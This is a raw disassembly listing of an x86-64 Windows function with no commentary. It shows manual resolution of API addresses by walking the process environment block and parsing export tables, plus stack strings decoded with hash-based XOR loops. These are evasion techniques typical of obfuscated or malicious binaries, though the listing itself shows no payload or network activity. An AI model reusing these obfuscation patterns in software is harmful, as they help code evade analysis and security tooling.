imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r9], eax
add r8d, 0x5bd1e995
lea r9, [r9 + 4]
sub r10, 1
jne 0x140048530
mov eax, r12d
nop dword [rax]
inc eax
test al, 0xf
jne 0x140048580
mov qword [0x140187190], r13
lea edi, [rax + 8]
mov edx, edi
call fcn.140052d80
mov rbx, rax
mov qword [0x140187190], rax
test rax, rax
jne 0x1400485ab
mov rbx, r13
jmp 0x1400485e4
mov dword [0x14018719c], edi
mov dword [0x140187198], r12d
mov dword [rax], edi
mov eax, dword [0x140187198]
mov dword [rbx + 4], eax
movzx eax, word [rbp - 0x50]
mov word [rbx + 8], ax
mov edx, dword [0x14018719c]
add edx, 0xfffffff8
lea rcx, [rbx + 8]
lea r9, [rbp - 0x7c]
mov r8b, 1
call fcn.140052470
mov qword [rbp - 0x58], rbx
movsx ebx, byte [rbp - 0x80]
mov ecx, ebx
call fcn.140014160
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x140048604
mov edx, 0x84
call fcn.140052d80
cmp ebx, 0xffffffb7
jg 0x140048613
mov edx, 0x9d
call fcn.140052d80
imul r11d, ebx, 0x5bd1e995
mov r8d, r13d
lea r9, [rbp - 0x7c]
mov r10, rsi
nop dword [rax]
nop dword [rax + rax]
mov eax, r11d
shr eax, 0x18
xor eax, r11d
imul ecx, eax, 0x5bd1e995
xor ecx, r8d
imul edx, ecx, 0x286a90b9
xor edx, 0xaa2a7357
mov eax, edx
shr eax, 0xd
xor eax, edx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r9], eax
add r8d, 0x5bd1e995
lea r9, [r9 + 4]
sub r10, 1
jne 0x140048630
mov r9d, dword [0x14018719c]
lea r8, [rbp - 0x7c]
mov rdx, qword [rbp - 0x58]
call fcn.1400525a0
mov rdx, rax
test rax, rax
jne 0x1400486a0
mov rdx, r13
jmp 0x1400486ad
movzx eax, byte [rbp - 0x80]
xor byte [rdx], al
xor byte [rdx + 1], al
mov byte [rdx + 2], 0
lea rcx, [rbp + 0x150]
call fcn.140005750
nop
lea rcx, [rbp + 0x130]
call fcn.140005a50
mov rcx, qword [rbp + 0xe0]
call fcn.14008f6a0
cmp eax, 0x64
je 0x140047870
cmp qword [rbp + 0x160], 0
je 0x140049232
movsxd rdx, dword [rsp + 0x44]
shl rdx, 5
lea rax, [0x140186f50]
add rdx, rax
lea rcx, [rbp - 0x80]
call fcn.140005930
mov r13, rax
mov qword [rsp + 0x50], rax
mov r12, rax
cmp qword [rax + 0x18], 0x10
jb 0x14004871a
mov r12, qword [rax]
lea rcx, [rbp + 0x90]
call fcn.14003a920
mov rcx, rax
call fcn.14001d6f0
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdi, qword [rcx]
cmp qword [rdi + 0x60], 0
je 0x14004880a
mov r11, qword [rdi + 0x30]
mov rdi, qword [rdi]
test r11, r11
je 0x140048745
mov r15d, 0x5a4d
cmp word [r11], r15w
jne 0x140048802
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x140048802
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x140048802
lea rax, [r11 + rcx]
mov r14d, dword [rax + 0x1c]
add r14, r11
mov r9d, dword [rax + 0x20]
add r9, r11
mov r15d, dword [rax + 0x24]
add r15, r11
xor r10d, r10d
mov ebx, dword [rax + 0x18]
test ebx, ebx
je 0x140048745
nop dword [rax]
xor dl, dl
mov ecx, dword [r9]
add rcx, r11
cmp byte [rcx], dl
je 0x1400487f1
mov r8, rsi
sub r8, rcx
movzx eax, byte [rcx + r8]
test al, al
je 0x1400487ed
cmp byte [rcx], al
jne 0x1400487f1
mov dl, 1
inc rcx
cmp byte [rcx], 0
jne 0x1400487c2
movsxd rax, r10d
movzx ecx, word [r15 + rax*2]
mov eax, dword [r14 + rcx*4]
add rax, r11
xor r14d, r14d
jmp 0x140048810
test dl, dl
jne 0x1400487d9
inc r10d
add r9, 4
cmp r10d, ebx
jb 0x1400487b0
jmp 0x140048745
xor r14d, r14d
mov eax, r14d
jmp 0x140048816
xor r14d, r14d
mov eax, r14d
mov r15d, 0x5a4d
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], r14
mov r9d, 0xffffffff
mov r8, r12
xor edx, edx
mov ecx, 0xfde9
call rax
mov dword [rsp + 0x44], eax
xor r8d, r8d
movsxd rdx, eax
lea rcx, [rbp + 0x130]
call fcn.14001e3a0
or dword [rsp + 0x40], 0x10
lea r12, [rbp + 0x130]
cmp qword [rbp + 0x148], 8
cmovae r12, qword [rbp + 0x130]
mov rax, qword [rsp + 0x50]
cmp qword [rax + 0x18], 0x10
jb 0x140048873
mov r13, qword [rax]
lea rcx, [rbp + 0x10]
call fcn.14003aa90
mov rcx, rax
call fcn.14001d6f0
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdi, qword [rcx]
cmp qword [rdi + 0x60], 0
je 0x14004897a
nop word [rax + rax]
mov r11, qword [rdi + 0x30]
mov rdi, qword [rdi]
test r11, r11
je 0x14004895d
cmp word [r11], r15w
jne 0x14004896f
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x14004896f
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x14004896f
lea rax, [r11 + rcx]
mov r14d, dword [rax + 0x1c]
add r14, r11
mov r9d, dword [rax + 0x20]
add r9, r11
mov r15d, dword [rax + 0x24]
add r15, r11
xor r10d, r10d
mov ebx, dword [rax + 0x18]
test ebx, ebx
je 0x14004895d
nop
xor dl, dl
mov ecx, dword [r9]
add rcx, r11
cmp byte [rcx], dl
je 0x140048951
mov r8, rsi
sub r8, rcx
movzx eax, byte [r8 + rcx]
test al, al
je 0x14004894d
cmp byte [rcx], al
jne 0x140048951
mov dl, 1
inc rcx
cmp byte [rcx], 0
jne 0x140048922
movsxd rax, r10d
movzx ecx, word [r15 + rax*2]
mov eax, dword [r14 + rcx*4]
add rax, r11
xor r14d, r14d
jmp 0x14004897d
test dl, dl
jne 0x140048939
inc r10d
add r9, 4
cmp r10d, ebx
jb 0x140048910
cmp qword [rdi + 0x60], 0
je 0x140048977
mov r15d, 0x5a4d
jmp 0x1400488b0
xor r14d, r14d
mov eax, r14d
jmp 0x140048983
xor r14d, r14d
mov rax, r14
mov r15d, 0x5a4d
mov ecx, dword [rsp + 0x44]
mov dword [rsp + 0x28], ecx
mov qword [rsp + 0x20], r12
mov r9d, 0xffffffff
mov r8, r13
xor edx, edx
mov ecx, 0xfde9
call rax
nop
mov rcx, qword [rsp + 0x50]
call fcn.140005a50
lea rdx, [rbp + 0x130]
cmp qword [rbp + 0x148], 8
cmovae rdx, qword [rbp + 0x130]
lea rcx, [rbp + 0x170]
call fcn.140028a40
nop
and dword [rsp + 0x40], 0xffffffef
mov rdx, qword [rbp + 0x148]
cmp rdx, 8
jb 0x140048a1c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x130]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140048a17
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400492a7
call fcn.14012f66c
movdqa xmm0, xmmword [0x14016e080]
movdqu xmmword [rbp + 0x140], xmm0
mov word [rbp + 0x130], r14w
lea rcx, [rbp + 0x90]
call fcn.140051690
mov rdi, rax
movsx ebx, byte [rax]
mov ecx, ebx
call fcn.140014160
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x140048a5e
mov edx, 0x84
call fcn.140052d80
cmp ebx, 0xffffffb7
jg 0x140048a6d
mov edx, 0x9d
call fcn.140052d80
imul ebx, ebx, 0x5bd1e995
mov r9d, r14d
lea r8, [rdi + 4]
mov r10, r8
mov r11d, 8
nop dword [rax]
nop word [rax + rax]
mov eax, ebx
shr eax, 0x18
xor eax, ebx
imul ecx, eax, 0x5bd1e995
xor ecx, r9d
imul edx, ecx, 0x286a90b9
xor edx, 0xaa2a7357
mov eax, edx
shr eax, 0xd
xor eax, edx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r10], eax
add r9d, 0x5bd1e995
lea r10, [r10 + 4]
sub r11, 1
jne 0x140048a90
mov r9d, dword [0x14018719c]
mov rdx, qword [rdi + 0x28]
call fcn.1400525a0
mov rdx, rax
test rax, rax
jne 0x140048b00
mov rdx, r14
jmp 0x140048b51
movzx eax, word [rdi]
xor word [rdx], ax
movzx eax, word [rdi]
xor word [rdx + 2], ax
movzx eax, word [rdi]
xor word [rdx + 4], ax
movzx eax, word [rdi]
xor word [rdx + 6], ax
movzx eax, word [rdi]
xor word [rdx + 8], ax
movzx eax, word [rdi]
xor word [rdx + 0xa], ax
movzx eax, word [rdi]
xor word [rdx + 0xc], ax
movzx eax, word [rdi]
xor word [rdx + 0xe], ax
movzx eax, word [rdi]
xor word [rdx + 0x10], ax
movzx eax, word [rdi]
xor word [rdx + 0x12], ax
movzx eax, word [rdi]
xor word [rdx + 0x14], ax
mov word [rdx + 0x16], r14w
lea rcx, [rsp + 0x58]
call fcn.140028a40
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 8
jb 0x140048b6a
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rbp + 0x170]
call fcn.14004c250
nop
mov rdx, qword [rsp + 0x70]
cmp rdx, 8
jb 0x140048bbc
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140048bb7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400492ad
call fcn.14012f66c
mov rax, qword [rsp + 0x78]
mov rdx, rax
cmp qword [rax + 0x18], 0x10
jb 0x140048bce
mov rdx, qword [rax]
xorps xmm0, xmm0
movups xmmword [rbp + 0xf8], xmm0
mov qword [rbp + 0x108], r14
mov qword [rbp + 0x110], r14
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x140048bf0
lea rcx, [rbp + 0xf8]
call fcn.140005e70
lea rax, [rbp + 0xf8]
mov qword [rbp + 0xe8], rax
lea r12, [rbp + 0xf8]
cmp qword [rbp + 0x110], 0x10
cmovae r12, qword [rbp + 0xf8]
lea rcx, [rbp + 0x90]
call fcn.14003a920
mov rcx, rax
call fcn.14001d6f0
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdi, qword [rcx]
cmp qword [rdi + 0x60], 0
je 0x140048d3a
nop dword [rax]
nop word [rax + rax]
mov r11, qword [rdi + 0x30]
mov rdi, qword [rdi]
test r11, r11
je 0x140048d1d
cmp word [r11], r15w
jne 0x140048d2f
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x140048d2f
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x140048d2f
lea rax, [r11 + rcx]
mov r14d, dword [rax + 0x1c]
add r14, r11
mov r9d, dword [rax + 0x20]
add r9, r11
mov r15d, dword [rax + 0x24]
add r15, r11
xor r10d, r10d
mov ebx, dword [rax + 0x18]
test ebx, ebx
je 0x140048d1d
nop
xor dl, dl
mov ecx, dword [r9]
add rcx, r11
cmp byte [rcx], dl
je 0x140048d11
mov r8, rsi
sub r8, rcx
movzx eax, byte [r8 + rcx]
test al, al
je 0x140048d0d
cmp byte [rcx], al
jne 0x140048d11
mov dl, 1
inc rcx
cmp byte [rcx], 0
jne 0x140048ce2
movsxd rax, r10d
movzx ecx, word [r15 + rax*2]
mov eax, dword [r14 + rcx*4]
add rax, r11
xor r14d, r14d
jmp 0x140048d3d
test dl, dl
jne 0x140048cf9
inc r10d
add r9, 4
cmp r10d, ebx
jb 0x140048cd0
cmp qword [rdi + 0x60], 0
je 0x140048d37
mov r15d, 0x5a4d
jmp 0x140048c70
xor r14d, r14d
mov eax, r14d
jmp 0x140048d43
xor r14d, r14d
mov rax, r14
mov r15d, 0x5a4d
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], r14
mov r9d, 0xffffffff
mov r8, r12
xor edx, edx
mov ecx, 0xfde9
call rax
mov dword [rsp + 0x44], eax
xor r8d, r8d
movsxd rdx, eax
lea rcx, [rsp + 0x58]
call fcn.14001e3a0
or dword [rsp + 0x40], 0x20
lea r12, [rsp + 0x58]
cmp qword [rsp + 0x70], 8
cmovae r12, qword [rsp + 0x58]
lea r13, [rbp + 0xf8]
cmp qword [rbp + 0x110], 0x10
cmovae r13, qword [rbp + 0xf8]
lea rcx, [rbp + 0x10]
call fcn.14003aa90
mov rcx, rax
call fcn.14001d6f0
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdi, qword [rcx]
cmp qword [rdi + 0x60], 0
je 0x140048ea2
nop dword [rax]
nop word [rax + rax]
mov r11, qword [rdi + 0x30]
mov rdi, qword [rdi]
test r11, r11
je 0x140048e8d
cmp word [r11], r15w
jne 0x140048e9f
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x140048e9f
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x140048e9f
lea rax, [r11 + rcx]
mov r14d, dword [rax + 0x1c]
add r14, r11
mov r9d, dword [rax + 0x20]
add r9, r11
mov r15d, dword [rax + 0x24]
add r15, r11
xor r10d, r10d
mov ebx, dword [rax + 0x18]
test ebx, ebx
je 0x140048e8d
nop
xor dl, dl
mov ecx, dword [r9]
add rcx, r11
cmp byte [rcx], dl
je 0x140048e81
mov r8, rsi
sub r8, rcx
movzx eax, byte [rcx + r8]
test al, al
je 0x140048e7d
cmp byte [rcx], al
jne 0x140048e81
mov dl, 1
inc rcx
cmp byte [rcx], 0
jne 0x140048e52
movsxd rax, r10d
movzx ecx, word [r15 + rax*2]
mov eax, dword [r14 + rcx*4]
add rax, r11
xor r14d, r14d
jmp 0x140048ea5
test dl, dl
jne 0x140048e69
inc r10d
add r9, 4
cmp r10d, ebx
jb 0x140048e40
cmp qword [rdi + 0x60], 0
je 0x140048e9f
mov r15d, 0x5a4d
jmp 0x140048de0
xor r14d, r14d
mov rax, r14
mov edx, dword [rsp + 0x44]
mov dword [rsp + 0x28], edx
mov qword [rsp + 0x20], r12
mov r9d, 0xffffffff
mov r8, r13
xor edx, edx
mov ecx, 0xfde9
call rax
nop
lea rcx, [rbp + 0xf8]
call fcn.140005a50
lea rdx, [rsp + 0x58]
cmp qword [rsp + 0x70], 8
cmovae rdx, qword [rsp + 0x58]
mov r8, qword [rsp + 0x68]
lea rcx, [rbp + 0x170]
call fcn.14004c250
nop
mov rdx, qword [rsp + 0x70]
cmp rdx, 8
jb 0x140048f36
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140048f31
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400492b3
call fcn.14012f66c
mov edx, 0x18
mov word [rbp + 0x10], dx
mov dword [rbp + 0x40], 0x6c0036
mov dword [rbp + 0x44], 0x6c0060
xor eax, eax
mov word [rbp + 0x48], ax
movsx ebx, dl
mov ecx, ebx
call fcn.140014160
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x140048f6e
mov edx, 0x84
call fcn.140052d80
cmp ebx, 0xffffffb7
jg 0x140048f7d
mov edx, 0x9d
call fcn.140052d80
imul r11d, ebx, 0x5bd1e995
mov r8d, r14d
lea r9, [rbp + 0x14]
mov esi, 8
mov r10d, esi
nop dword [rax]
nop word [rax + rax]
mov eax, r11d
shr eax, 0x18
xor eax, r11d
imul ecx, eax, 0x5bd1e995
xor ecx, r8d
imul edx, ecx, 0x286a90b9
xor edx, 0xaa2a7357
mov eax, edx
shr eax, 0xd
xor eax, edx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r9], eax
add r8d, 0x5bd1e995
lea r9, [r9 + 4]
sub r10, 1
jne 0x140048fa0
mov eax, esi
inc eax
test al, 0xf
jne 0x140048fe8
mov qword [0x140187190], r14
lea edi, [rax + 8]
mov edx, edi
call fcn.140052d80
mov rbx, rax
mov qword [0x140187190], rax
test rax, rax
jne 0x140049013
mov rbx, r14
jmp 0x14004904b
mov dword [0x14018719c], edi
mov dword [0x140187198], esi
mov dword [rax], edi
mov eax, dword [0x140187198]
mov dword [rbx + 4], eax
mov rax, qword [rbp + 0x40]
mov qword [rbx + 8], rax
mov edx, dword [0x14018719c]
add edx, 0xfffffff8
lea rcx, [rbx + 8]
lea r9, [rbp + 0x14]
mov r8b, 1
call fcn.140052470
mov qword [rbp + 0x38], rbx
movsx ebx, byte [rbp + 0x10]
mov ecx, ebx
call fcn.140014160
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x14004906b
mov edx, 0x84
call fcn.140052d80
cmp ebx, 0xffffffb7
jg 0x14004907a
mov edx, 0x9d
call fcn.140052d80
imul r10d, ebx, 0x5bd1e995
mov r8d, r14d
lea r9, [rbp + 0x14]
nop dword [rax + rax]
mov eax, r10d
shr eax, 0x18
xor eax, r10d
imul eax, eax, 0x5bd1e995
mov ecx, r8d
xor ecx, eax
imul edx, ecx, 0x286a90b9
xor edx, 0xaa2a7357
mov eax, edx
shr eax, 0xd
xor eax, edx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r9], eax
add r8d, 0x5bd1e995
lea r9, [r9 + 4]
sub rsi, 1
jne 0x140049090
mov r9d, dword [0x14018719c]
lea r8, [rbp + 0x14]
mov rdx, qword [rbp + 0x38]
call fcn.1400525a0
mov rcx, rax
test rax, rax
je 0x14004910f
movzx eax, word [rbp + 0x10]
xor word [rcx], ax
xor word [rcx + 2], ax
xor word [rcx + 4], ax
xor word [rcx + 6], ax
mov word [rcx + 8], r14w
mov r14, rcx
mov rdx, r14
lea rcx, [rsp + 0x58]
call fcn.140028a40
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 8
jb 0x14004912b
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rbp + 0x170]
call fcn.14004c250
nop
mov rdx, qword [rsp + 0x70]
cmp rdx, 8
jb 0x14004917d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140049178
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400492b9
call fcn.14012f66c
lea r8, [rbp + 0x150]
cmp qword [rbp + 0x168], 0x10
cmovae r8, qword [rbp + 0x150]
lea rax, [rbp + 0x170]
mov rcx, qword [rbp + 0x170]
mov rdx, qword [rbp + 0x188]
cmp rdx, 8
cmovae rax, rcx
mov r10, qword [rbp + 0x60]
test r10, r10
jne 0x1400491c1
mov eax, 0x10000
jmp 0x1400491f7
cmp dword [r10], 2
je 0x1400491ce
mov eax, 0x80000
jmp 0x1400491f7
mov dword [rsp + 0x20], 3
mov r9d, dword [rbp + 0x160]
mov rdx, rax
mov rcx, qword [r10 + 8]
call fcn.140032660
mov rdx, qword [rbp + 0x188]
mov rcx, qword [rbp + 0x170]
mov dword [0x140186cd0], eax
cmp rdx, 8
jb 0x140049232
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004922c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400492a1
call fcn.14012f66c
nop
lea rcx, [rbp + 0x190]
call fcn.140005a50
nop
lea rcx, [rbp + 0x150]
call fcn.140005a50
nop
lea rcx, [rbp + 0x1b0]
call fcn.140005a50
nop
mov rcx, qword [rbp]
call fcn.140005a50
nop
mov rcx, qword [rbp + 8]
call fcn.140005a50
nop
mov rcx, qword [rsp + 0x78]
call fcn.140005a50
mov rcx, qword [rbp + 0x1d0]
xor rcx, rsp
call fcn.14012f610
mov rbx, qword [rsp + 0x320]
add rsp, 0x2e0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.140136294
nop
call fcn.140136294
int3
call fcn.140136294
int3
call fcn.140136294
int3
call fcn.140136294
int3